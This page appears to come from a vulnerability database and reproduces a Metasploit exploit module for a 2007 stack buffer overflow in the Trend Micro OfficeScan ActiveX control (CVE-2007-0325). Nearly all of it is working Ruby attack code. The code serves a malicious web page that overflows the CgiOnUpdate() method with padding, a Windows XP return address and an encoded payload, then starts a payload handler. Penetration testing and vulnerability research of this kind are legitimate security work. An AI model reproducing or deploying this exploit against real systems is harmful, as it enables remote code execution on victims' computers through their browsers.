Trend Micro OfficeScan Client ActiveX Control Buffer Overflow

2007-08-31T11:58:31
ID MSF:EXPLOIT/WINDOWS/BROWSER/TRENDMICRO_OFFICESCAN
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

This module exploits a stack buffer overflow in Trend Micro OfficeScan Corporate Edition 7.3. By sending an overly long string to the "CgiOnUpdate()" method located in the OfficeScanSetupINI.dll Control, an attacker may be able to execute arbitrary code.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Trend Micro OfficeScan Client ActiveX Control Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Trend Micro OfficeScan
        Corporate Edition 7.3. By sending an overly long string to the
        "CgiOnUpdate()" method located in the OfficeScanSetupINI.dll Control,
        an attacker may be able to execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2007-0325' ],
          [ 'OSVDB', '33040' ],
          [ 'BID', '22585' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 800,
          'BadChars'      => "\x00\x09\x0a\x0d'\\",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP2 Pro English',     { 'Ret' => 0x7cc58fd8 } ],
        ],
      'DisclosureDate' => 'Feb 12 2007',
      'DefaultTarget'  => 0))
  end

  def autofilter
      false
  end

  def check_dependencies
      use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Randomize some things
    vname	= rand_text_alpha(rand(100) + 1)
    strname	= rand_text_alpha(rand(100) + 1)

    # Set the exploit buffer
    sploit =  rand_text_alpha(2149) + [target.ret].pack('V') + p.encoded

    # Build out the message
    content = %Q|
      <html>
      <object classid='clsid:08d75bb0-d2b5-11d1-88fc-0080c859833b' id='#{vname}'></object>
      <script language='javascript'>
      var #{vname} = document.getElementById('#{vname}');
      var #{strname} = new String('#{sploit}');
      #{vname}.CgiOnUpdate = #{strname};
      </script>
      </html>
      |

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end